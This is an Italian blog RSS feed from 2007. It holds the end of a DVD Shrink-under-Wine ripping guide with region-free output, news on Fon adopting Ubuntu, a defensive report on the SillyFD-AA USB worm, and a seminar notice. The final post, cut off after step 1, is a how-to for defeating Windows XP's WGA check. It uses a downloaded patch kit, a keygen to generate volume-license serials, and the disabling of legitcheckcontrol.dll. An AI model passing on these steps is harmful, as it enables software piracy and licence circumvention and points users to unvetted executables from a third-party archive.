<p>-Per utenti Gentoo: Siccome la release di Wine richiesta attualmente è masked prima diamo un bel</p>
<pre>echo "app-emulation/wine ~x86" &gt; /etc/portage/package.keywords</pre>
<p>e successivamente</p>
<pre>emerge wine</pre>
<p>-Per utenti Slackware: Scaricate il tgz da www.linuxpackages.net e successivamente:</p>
<pre>installpgk wine.tgz</pre>
<p>-Per utenti rpm like:</p>
<pre>rpm -ivh wine.rpm</pre>
<p>-Qualora si volesse installare wine da sorgenti:</p>
<pre>tar xvfz wine.tar.gz</pre>
<p>entriamo nella directory e lanciamo:</p>
<pre>./tools/wineinstall</pre>
<p>N.B Per eseguire la fase di installazione dobbiamo loggarci come utente root</p>
<p>Ora installiamo growisofs</p>
<p>Per i possessori di distro rpm like basta installare l&#8217;rpm così come per Gentoo lanciate</p>
<pre>emerge dvd+rw-tools</pre>
<p>mentre per installazione da sorgenti lanciate in classico ./configure&amp;&amp;make&amp;&amp;make install  <a name="Configurazione"></a></p>
<h2>Configurazione</h2>
<p>Ora configuriamo wine affinché possa avviare dvdshrink al meglio:</p>
<p>-entrate nella vostra home -modificate il file .wine/config aggiungendo o modificando i parametri sotto riportati: [Drive E] &#8220;Path&#8221; = &#8220;/mnt/cdrom&#8221; &#8220;Type&#8221; = &#8220;cdrom&#8221; &#8220;Label&#8221; = &#8220;CD_as_HD&#8221; &#8220;Filesystem&#8221; = &#8220;win95&#8243;</p>
<p>[Version]</p>
<dl>
<dt> Windows version to imitate (win95,win98,winme,nt351,nt40,win2k,winxp,win20,win </dt>
</dl>
<p>30,win31)&#8221; }, &#8220;Windows&#8221; = &#8220;winxp&#8221;</p>
<dl>
<dt> DOS version to imitate </dt>
<dt>&#8220;DOS&#8221; = &#8220;6.22&#8243; </dt>
</dl>
<p>da notare che la configurazione punta a /mnt/cdrom in caso abbiate scelto un mount point diverso per il vostro cdrom modificate tale linea. Salvate il file e prepariamoci ad installare dvshrink</p>
<p><a name="Installazione_dvdshrink"></a></p>
<h2>Installazione dvdshrink</h2>
<p>Copiate l&#8217;eseguibile di dvdshrink nella vostra home (se fosse zippato lanciate</p>
<pre>unzip programma.zip</pre>
<p>) e fate:</p>
<pre>wine dvdshrink.exe</pre>
<p>Partirà l&#8217;istallazione grafica proprio come avviene sotto Windows, seguite bene le istruzioni a video e terminate la fase di installazione. Da notare che durabte questa fase potrebbe darvi degli errori, voi ignorarteli! Fatto cio avrete in /votrahome/.wine/fake_windows/Program Files/DVD Shrink in programma installato&#8230; Ora avviamo il programma lanciando:</p>
<pre>wine /votrahome/.wine/fake_windows/Program Files/DVD Shrink/DVD Shrink 3.2.exe</pre>
<p>Ok ora siete davanti a DVDSHRINK!</p>
<p><a name="Configurazione_dvdshrink"></a></p>
<h2>Configurazione dvdshrink</h2>
<p>A programma avviato modificate subito i seguenti parametri:</p>
<p>Edit &gt;&gt; Preference &gt;&gt; Preference  : Eliminate tutte le opzioni</p>
<pre>                     Preview     : Vi consiglio di non attivare queste opzioni
                     Output File : Attivate tutte le opzioni tranne Logicla remapping..
                     Stream selection: Selezionate la vostra lingua ed il tipo di codifica.. questo è importante perchè se non li selezionate                   avrete prblemi a stabilire il code della lingua con mplayer
                     File I/O        : Attivate solo Check RPC2....</pre>
<p>Date l&#8217;ok ed uscite dal programma.</p>
<p><a name="Fase_di_reauthoring"></a></p>
<h2>Fase di reauthoring</h2>
<p>Ora inserite il DVD e fate il mount di esso:</p>
<pre>mount /mnd/cdrom</pre>
<p>Dopo di che avviate DVDshrink:</p>
<pre>wine /votrahome/.wine/fake_windows/Program Files/DVD Shrink/DVD Shrink 3.2.exe</pre>
<p>E cliccate ora su OPEN DISC.. partira la fase di analising Finita questa fase nella parte sinistra vedrete la struttura del vostro DVD.. Naturlamente a noi ci interssa solo il FILM escludendo sia i menu che gli extra&#8230;. Quindi porcedete in questo modo:</p>
<p>Osservando la strutttura del dvd noterete la cartella &#8220;MAIN MOVIE&#8221;..  apritela e con il tasto destro del mouse selezionate copia (troverete un soli file di come TITLE seguito da un numero) Ora cliccate in alto a destra sul pulsente RE-AUTOR vi porterà ad una nuova schermata.. Ora sulla parte sinistra cliccate con il tasto destro del mouse e fate incolla (PASTE) Selezionate nella parte destra Compressione settint ed deselezionate ciò che non vi interessa</p>
<p>Notere che deselezionando i contenuti che non vi interssano vedrete la percentuale (nella parte destra) che aumenta, ciò sta a significare il rapporto di compressione.. maggiore è la percentuale e minore sarà la compressione, quindi con un valore al 100% otterrete un DVD identico al sorgente! Possimao raffinare tutto riducendo il fimato.. utile questa opzione se vogliamo eliminare i titoli di coda..</p>
<p>Per far cio noterete nella parte sinistra un pulsante tipo |-&gt;| questo. Bene cliccate e vi apparirà un comodo player con cui potrete tagliare il vostro DVD |&lt;-|</p>
<p>Bene fatto ciò cliccate su backup e selezionate:</p>
<p>Target device &gt;&gt; Select backp target: ISO IMAGE FILE</p>
<pre>                Select target image file: o laciate quello che mette lui oppure salvate l'immagine dove volete

             &gt;&gt; REGION FREE: selezionate REGION FREE
             &gt;&gt; QUALITY SETTING: Atrtivate tutto
             &gt;&gt; OPtion : deselzionate tutto</pre>
<p>Ora diamo l&#8217;OK patirà la fase di creazione dell&#8217;iso.. l&#8217;operazione durarà a seconda di quanto dovrà riquantizzare il DVD..</p>
<p>AL fine un messaggio vi mostrerà dove è stata salvata la iso date l&#8217;ok e prepariamoci a masterrizzarla</p>
<p><a name="Masterizzazione_ISO"></a></p>
<h2>Masterizzazione ISO</h2>
<p>Aprite la console e posizionate dove avete salvato l&#8217;iso ora eseguite questo comando:</p>
<pre>growisofs -overburn -speed=1 -dvd-compat -Z /dev/hdc=IMMAGINE.iso</pre>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackatwork.wordpress.com/254/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackatwork.wordpress.com/254/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackatwork.wordpress.com/254/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackatwork.wordpress.com/254/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackatwork.wordpress.com/254/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackatwork.wordpress.com/254/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackatwork.wordpress.com/254/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackatwork.wordpress.com/254/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackatwork.wordpress.com/254/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackatwork.wordpress.com/254/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackatwork.wordpress.com/254/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackatwork.wordpress.com/254/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackatwork.wordpress.com/254/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackatwork.wordpress.com/254/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackatwork.wordpress.com/254/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackatwork.wordpress.com/254/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=254&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackatwork.wordpress.com/2007/05/07/guida-alla-codifica-dvd9-to-dvd5/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e3ac2006bf0a31f8ea8e7d90951cd247?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regisinferni</media:title>
		</media:content>

		<media:content url="http://img504.imageshack.us/img504/2208/verbatimdvdr85gbduallaybi5.jpg" medium="image" />
	</item>
		<item>
		<title>FON dice NO a Microsoft</title>
		<link>http://hackatwork.wordpress.com/2007/05/07/fon-dice-no-a-microsoft/</link>
		<comments>http://hackatwork.wordpress.com/2007/05/07/fon-dice-no-a-microsoft/#comments</comments>
		<pubDate>Mon, 07 May 2007 20:00:40 +0000</pubDate>
		<dc:creator>regisinferni</dc:creator>
				<category><![CDATA[Remoto]]></category>

		<guid isPermaLink="false">http://hackatwork.wordpress.com/2007/05/07/fon-dice-no-a-microsoft/</guid>
		<description><![CDATA[&#8220;Voglio chiedere a tutti i Foneros di migrare a Ubuntu prima possibile. Nelle prossime settimane Fon non acquisterà più licenze Microsoft e non installerà software Microsoft su alcun computer. Tutto il software che useremo sarà Open Source&#8221;. Sono parole di Martin Varsavsky, leader e CEO di Fon, che coerentemente con lo spirito del progetto di [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=253&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>&#8220;Voglio chiedere a tutti i Foneros di migrare a Ubuntu prima possibile. Nelle prossime settimane Fon non acquisterà più licenze Microsoft e non installerà software Microsoft su alcun computer. Tutto il software che useremo sarà Open Source&#8221;. Sono parole di <strong>Martin Varsavsky, leader e CEO di Fon</strong>, che coerentemente con lo spirito del progetto di condivisione delle connessioni wireless ha tagliato ogni legame con Microsoft e zio Bill.</p>
<p align="center"><img src="http://img337.imageshack.us/img337/984/router20fon1ph6.jpg" /></p>
<p>Dopo un periodo di test sul proprio laptop Varsavsky ha deciso che <strong>Ubuntu è la migliore alternativa ai sistemi di Redmond</strong>: facile, sicura, robusta.<br />
Con questa mossa Fon diventa una società completamente basata su software <strong>opensource</strong>. Già da tempo infatti il sistema operativo installato sui router Fon ( come ad esempio la Fonera) è <strong>OpenWRT</strong>, distribuzione Linux embedded installabile su molti device wireless.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackatwork.wordpress.com/253/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackatwork.wordpress.com/253/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackatwork.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackatwork.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackatwork.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackatwork.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackatwork.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackatwork.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackatwork.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackatwork.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackatwork.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackatwork.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackatwork.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackatwork.wordpress.com/253/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackatwork.wordpress.com/253/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackatwork.wordpress.com/253/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=253&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackatwork.wordpress.com/2007/05/07/fon-dice-no-a-microsoft/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e3ac2006bf0a31f8ea8e7d90951cd247?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regisinferni</media:title>
		</media:content>

		<media:content url="http://img337.imageshack.us/img337/984/router20fon1ph6.jpg" medium="image" />
	</item>
		<item>
		<title>Il Worm Delle Memorie USB Si Chiama Silly</title>
		<link>http://hackatwork.wordpress.com/2007/05/07/il-worm-delle-memorie-usb-si-chiama-silly/</link>
		<comments>http://hackatwork.wordpress.com/2007/05/07/il-worm-delle-memorie-usb-si-chiama-silly/#comments</comments>
		<pubDate>Mon, 07 May 2007 12:58:57 +0000</pubDate>
		<dc:creator>regisinferni</dc:creator>
				<category><![CDATA[Sicurezza]]></category>

		<guid isPermaLink="false">http://hackatwork.wordpress.com/2007/05/07/il-worm-delle-memorie-usb-si-chiama-silly/</guid>
		<description><![CDATA[Una nuova tipologia di Worm si insinua nei drive rimovibile e si espande a tutti i computer ai quali tali periferiche infette vengono collegate. Sophos svela il funzionamento della nuova minaccia e come difendersi da essa. Sophos, compagnia leader nel campo della sicurezza, ha isolato una nuova famiglia di worm capaci di infettare i drive [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=252&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Una nuova tipologia di Worm si insinua nei drive rimovibile e si espande a tutti i computer ai quali tali periferiche infette vengono collegate. Sophos svela il funzionamento della nuova minaccia e come difendersi da essa.</p>
<p>Sophos, compagnia leader nel campo della sicurezza, ha isolato una nuova famiglia di worm capaci <strong>di infettare i drive rimovibile e di replicarsi in tutti i computer ai quali tali periferiche infette vengono collegate</strong>. La nuova minaccia, battezzata con il nome di <strong>W32/SillyFD-AA</strong>, può essere fermata adottando alcune semplici precauzioni.</p>
<p>Secondo quanto riportato da Sophos, il worm si diffonde attraverso le periferiche di archiviazione rimovibili, inclusi floppy disk e chiavette USB. SillyFD-AA, una volta attivato, cerca di creare il file nascosto Autorun.inf su tutti i drive rimovibili rilevati nel sistema e copia in essi un clone eseguibile del suo codice chiamato handydriver.exe. Il file eseguibile sfrutta così il file Autorun.inf per essere lanciato nel caso in cui la periferica infetta venga successivamente inserita in un computer non ancora colpito dal worm. Come effetto collaterale dell&#8217;infezione, <strong>sulla barra di Internet Explorer il titolo delle finestre viene modificato con l&#8217;aggiunta della frase &#8220;Hacked by 1BYTE&#8221;</strong> (diventando tra l&#8217;altro un chiaro segnale di anomalia). Molte chiavi di registro vengono inoltre manipolate per disattivare la visualizzazione dei file nascosti in Explorer e bloccare Regedit.</p>
<p align="center"><span id="more-252"></span></p>
<p>«Le chiavette USB stanno diventando sempre più economiche e sempre più spesso vengono distribuite durante i tradeshow o direttamente attraverso la pubblicità via posta. Gli addetti al marketing sono pronti ad usarle come &#8220;usa e getta&#8221; pur di assicurarsi un aumento delle vendite», ha affermato Graham Cluley, senior technology consultant per Sophos: «i possessori di un computer dovrebbero fare attenzione quando inseriscono una periferica sconosciuta nei loro PC, poichè potrebbe contenere del codice malevolo».</p>
<p>Le <strong>precauzioni</strong> da adottare per difendersi dalla nuova minaccia sono semplici e partono dalla <strong>disabilitazione della funzione di autorun presente in Windows</strong>, con lo scopo di impedire l&#8217;avvio automatico di CD-ROM e chiavette USB inserite nel sistema. <strong>Floppy disk, CD ROM, chiavette USB e hard-disk esterni andrebbero inoltre sempre controllati con un antivirus aggiornato</strong> una volta inseriti nel proprio computer. Sophos consiglia di lasciare attivo l&#8217;aggiornamento automatico dell&#8217;antivirus e di adottare una protezione completa per il proprio computer.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackatwork.wordpress.com/252/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackatwork.wordpress.com/252/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackatwork.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackatwork.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackatwork.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackatwork.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackatwork.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackatwork.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackatwork.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackatwork.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackatwork.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackatwork.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackatwork.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackatwork.wordpress.com/252/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackatwork.wordpress.com/252/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackatwork.wordpress.com/252/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=252&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackatwork.wordpress.com/2007/05/07/il-worm-delle-memorie-usb-si-chiama-silly/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e3ac2006bf0a31f8ea8e7d90951cd247?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regisinferni</media:title>
		</media:content>
	</item>
		<item>
		<title>Nuovo Ciclo Di Seminari Sul Web 2.0 e L&#8217;Open Source</title>
		<link>http://hackatwork.wordpress.com/2007/05/07/nuovo-ciclo-di-seminari-sul-web-20-e-lopen-source/</link>
		<comments>http://hackatwork.wordpress.com/2007/05/07/nuovo-ciclo-di-seminari-sul-web-20-e-lopen-source/#comments</comments>
		<pubDate>Mon, 07 May 2007 12:12:40 +0000</pubDate>
		<dc:creator>regisinferni</dc:creator>
				<category><![CDATA[Linux]]></category>

		<guid isPermaLink="false">http://hackatwork.wordpress.com/2007/05/07/nuovo-ciclo-di-seminari-sul-web-20-e-lopen-source/</guid>
		<description><![CDATA[Web 2.0, open source, business intelligence, Architetture Service Oriented (SOA): i nuovi seminari promossi dal CSI Piemonte. Web 2.0, open source, business intelligence, Architetture Service Oriented (SOA): il CSI-Piemonte mette a disposizione la propria competenza e la propria esperienza di azienda leader nel settore dell’ICT pubblica in un ciclo di seminari tecnologici riservati ad amministratori, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=251&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Web 2.0, open source, business intelligence, Architetture Service Oriented (SOA): i nuovi seminari promossi dal CSI Piemonte.</p>
<p>Web 2.0, open source, business intelligence, Architetture Service Oriented (SOA): il <strong>CSI-Piemonte</strong> mette a disposizione la propria competenza e la propria esperienza di azienda leader nel settore dell’ICT pubblica in un ciclo di seminari tecnologici riservati ad amministratori, IT manager e professionisti del settore.</p>
<p>Gli incontri sono iniziati lo scorso 17 aprile, con l’appuntamento dedicato a &#8220;<strong>Web 2.0 il futuro della Rete</strong>&#8220;. Organizzato in collaborazione con <strong>Zend Technologies</strong>, azienda leader nella distribuzione delle soluzioni PHP utilizzate per lo sviluppo dei più innovativi servizi Internet, il seminario si è tenuto presso l’Auditorium CSI di corso Tazzoli 215/12 con un’ottima partecipazione di pubblico. Docente dell’incontro Zeev Suraski, fra i massimi esperti nel campo del software PHP, fondatore di Zend Techologies e membro della Apache Software Foundation.</p>
<p align="center"><span id="more-251"></span></p>
<p>Prossimo appuntamento il 9 maggio, con il seminario &#8220;<strong>SOA: una guida per IT manager</strong>&#8220;, incentrato sulle principali sfide che i manager devono affrontare e gestire quando decidono di adottare un’Architettura Service Oriented. A guidare l’incontro sarà Max Dolciger, autorità riconosciuta nel campo del computing distribuito e Direttore di ISG. Società di New York specializzata in IT strategy e integrazione di applicazioni distribuite su larga scala.</p>
<p>Chiuderà questa prima fase di incontri, il 16 maggio, il seminario &#8220;<strong>Opportunità e scenari nella Business Intelligence: il contributo dell’Open Source</strong>&#8220;, promosso dal CSI-Piemonte in collaborazione con l’Università del Piemonte Orientale. L’obiettivo? Proporre un momento di condivisione con le imprese ICT piemontesi su conoscenze ed esperienze acquisite, per confrontarsi sulle linee evolutive del mercato in materia di software libero e sistemi decisionali.</p>
<p>Queste iniziative confermano l’esperienza di primissimo livello del CSI-Piemonte nel settore della formazione e delle tecnologie innovative. Insieme agli Atenei piemontesi, alla Regione Piemonte, alla Provincia e alla Città di Torino, ad esempio, partecipa al Centro di formazione per l’e-government, mettendo a disposizione delle Pubbliche Amministrazioni, dei cittadini e delle imprese un catalogo di oltre 60 proposte formative.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackatwork.wordpress.com/251/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackatwork.wordpress.com/251/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackatwork.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackatwork.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackatwork.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackatwork.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackatwork.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackatwork.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackatwork.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackatwork.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackatwork.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackatwork.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackatwork.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackatwork.wordpress.com/251/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackatwork.wordpress.com/251/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackatwork.wordpress.com/251/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=251&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackatwork.wordpress.com/2007/05/07/nuovo-ciclo-di-seminari-sul-web-20-e-lopen-source/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e3ac2006bf0a31f8ea8e7d90951cd247?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regisinferni</media:title>
		</media:content>
	</item>
		<item>
		<title>Rendere La Copia Di Windows XP Genuina e Risolvere Definitivamente Il Problema WGA</title>
		<link>http://hackatwork.wordpress.com/2007/05/07/rendere-la-copia-di-windows-xp-genuina-e-risolvere-definitivamente-il-problema-wga/</link>
		<comments>http://hackatwork.wordpress.com/2007/05/07/rendere-la-copia-di-windows-xp-genuina-e-risolvere-definitivamente-il-problema-wga/#comments</comments>
		<pubDate>Mon, 07 May 2007 11:36:36 +0000</pubDate>
		<dc:creator>regisinferni</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://hackatwork.wordpress.com/2007/05/07/rendere-la-copia-di-windows-xp-genuina-e-risolvere-definitivamente-il-problema-wga/</guid>
		<description><![CDATA[______________________________________________________________________ Introduzione: che cos&#8217;è WGA? Come posso eliminare-rimuovere-disinstallare definitivamente wga rendendo la copia genuina per sempre e senza limitazioni di download? ______________________________________________________________________ Come ormai tutti sappiamo il WGA è il controllo di genuinità di Microsoft Windows XP. Per scaricare dal sito Microsoft Update gli aggiornamenti di sicurezza è necessario convalidare la propria copia di Windows, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=250&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>______________________________________________________________________</p>
<p><strong>Introduzione: che cos&#8217;è WGA? Come posso eliminare-rimuovere-disinstallare definitivamente wga rendendo la copia genuina per sempre e senza limitazioni di download?</strong><br />
______________________________________________________________________</p>
<p>Come ormai tutti sappiamo il WGA è il controllo di genuinità di Microsoft Windows XP. Per scaricare dal sito Microsoft Update gli aggiornamenti di sicurezza è necessario convalidare la propria copia di Windows, e WGa è il mezzo attraverso il quale questo avviene. WGA si occupa di controllare il numero seriale installato in Windwos Xp. Se il seriale risulta regolarmente acquistato allora nell&#8217;80% dei casi la copia viene convalidata e potrete scaricare gli aggiornamenti di sicurezza e i vari programmi che richiedono convalida WGA. Se invece la copia non viene convalidata , perché avete inserito un codice seriale non valido durante l&#8217;installazione, succede che vi compare, come ormai sappiamo un sfastidiosissimo messaggio che vi ricorda che la vostra copia è pirata, e in più non potrete aggiornare le patch di sicurezza, ne tantomeno programmi che richiedono convalida WGA.</p>
<p align="center"><span id="more-250"></span></p>
<p>In questi mesi abbiamo imparato a convivere e a trovare una soluzione WGA volta per volta. Cioè ogni volta che usciva una nuova versione WGA si trovava il modo di eliminare quel fastidioso messaggio di copia non valida e nel frattempo di ripristinava la possibilità di aggiornare dal sito di Microsoft Update. Ora però è giunto il momento di trovare una soluzione definitiva al problema e quindi di rendere la nostra copia di Windows XP regolare, genuina e senza più bisogno di trovare una soluzione per ogni WGA. <strong>A chi si rivolge questa guida?</strong> Si rivolge a chi, nonostante abbia acquistato una copia originale, per una puro errore (si stima il 20% dei casi) si ritrova nella posizione di avere un blocco WGA. Nella guida si dimostra come è possibile rendere una copia valutata come pirata in una genuina. Per dimostrare questo userò per puro scopo educativo un generatore di seriale VLK (1.Windows XP Keygen.exe) perfettamente valido e che simula un seriale di Windows XP regolarmente comprato. Mostrerò quindi come cambiare il vecchio seriale con il nuovo e dimostrerò che la copia dopo quest&#8217;operazione è perfettamente valida. Il test è stato effettuato su una macchina XP virtuale con risultato garantito 100%. Ovviamente coloro che hanno un seriale comprato non devono usare il generatore di seriale, ma devono inserire il loro procuct key regolarmente acquistato.</p>
<p align="center">________________________________________</p>
<p align="center"><strong>Leggi prima le brevi domande introduttive</strong></p>
<p align="center">________________________________________</p>
<p>1)Cosa ci occorre per rendere la copia di Xp genuina e immune dal WGA?</p>
<p>•	Scaricare il pacchetto <a href="http://www.astromonza.com/wp.rar">WGA Patcher Permanent Kit</a></p>
<p>•	Scompattare con Winrar o 7zip la cartella dove desiderate.</p>
<p>2)Ho applicato la guida, ma esce &#8220;<strong>Validition Control not Installed</strong>&#8221; ?</p>
<p>•	Tutto Ok &#8211; devi solo collegarti al sito di Microsoft Update e ti verrà autenticata la copia.</p>
<p>3)Ho applicato la guida, ma esce &#8220;<strong>cryptographic errors detected</strong>&#8221; ?</p>
<p>•	E&#8217;sufficiente rinominare il file legitcheckcontrol.dll in legitcheckcontrol.bak in                       C:\windows\system32 .</p>
<p>4)Quando uso Windows Xp Keygen non mi accetta il seriale&#8221; <strong>An error has occured. This was probably caused by the keying of an ivalid number. Please check it and try again?</strong></p>
<p>•	Controlla di aver selezionato dal menù a tendina del Windows Xp Keygen il seriale corrispondente a Windows XP PRO VLK.</p>
<p>•	Se non funziona: rinomina per prima cosa il file legitcheckcontrol.dll in legitcheckcontrol.bak in C:\windows\system32 e riprovare.</p>
<p>5)Cosa c&#8217;è dentro la cartella WGA Patcher Permanent Kit e a cosa serve ogni file?</p>
<p><img src="http://img412.imageshack.us/img412/4953/wphk6.png" alt="wp" /></p>
<p>6) Con quali sistemi operativi funziona?</p>
<p>•	<strong>Funziona</strong> con Windows Xp con Sp2 oppure senza Sp2, Server 2003.</p>
<p>•	<strong>NON funziona</strong> con Windows Media Center.</p>
<p>•	Per farlo funzionare con Windows Xp Home dovete avere un seriale originale valido di XP Home.</p>
<p>[inutile mandarmi e-mail per chiedere seriali, non posso e non ho la possibilità di aiutarvi in tal senso]</p>
<p align="center">___________________________________________________________________</p>
<p align="center"><strong>Guida per rendere la copia di Windows Xp perfettamente genuina e valida</strong></p>
<p align="center">___________________________________________________________________</p>
<p><img src="http://img527.imageshack.us/img527/9011/wga1uw8.jpg" alt="wga1" /><br />
La figura sopra indica che la copia non è valida</p>
<p><img src="http://img223.imageshack.us/img223/4415/wga2nf9.jpg" alt="wga2" /><br />
Ulteriore conferma di copia non valida nella figura sopra</p>
<p><img src="http://img99.imageshack.us/img99/2203/passo1zn5.jpg" alt="passo1" /><br />
<strong>Passo 1</strong>: Eseguire il file <strong>Windows XP Keygen.exe</strong> per trovare un seriale valido e appuntarlo da qualche parte, o lasciare la finestra aperta. <strong>Vale solo per Windows Xp Professional (con o senza service pack 2). Non vale per XP Home Edition</strong>.  Per quest&#8217;ultima versione dovete &#8220;recuperare&#8221; un seriale valido e proseguire con la guida.</p>
<p><img src="http://img69.imageshack.us/img69/3396/passo2ma9.jpg" alt="passo2" /><br />
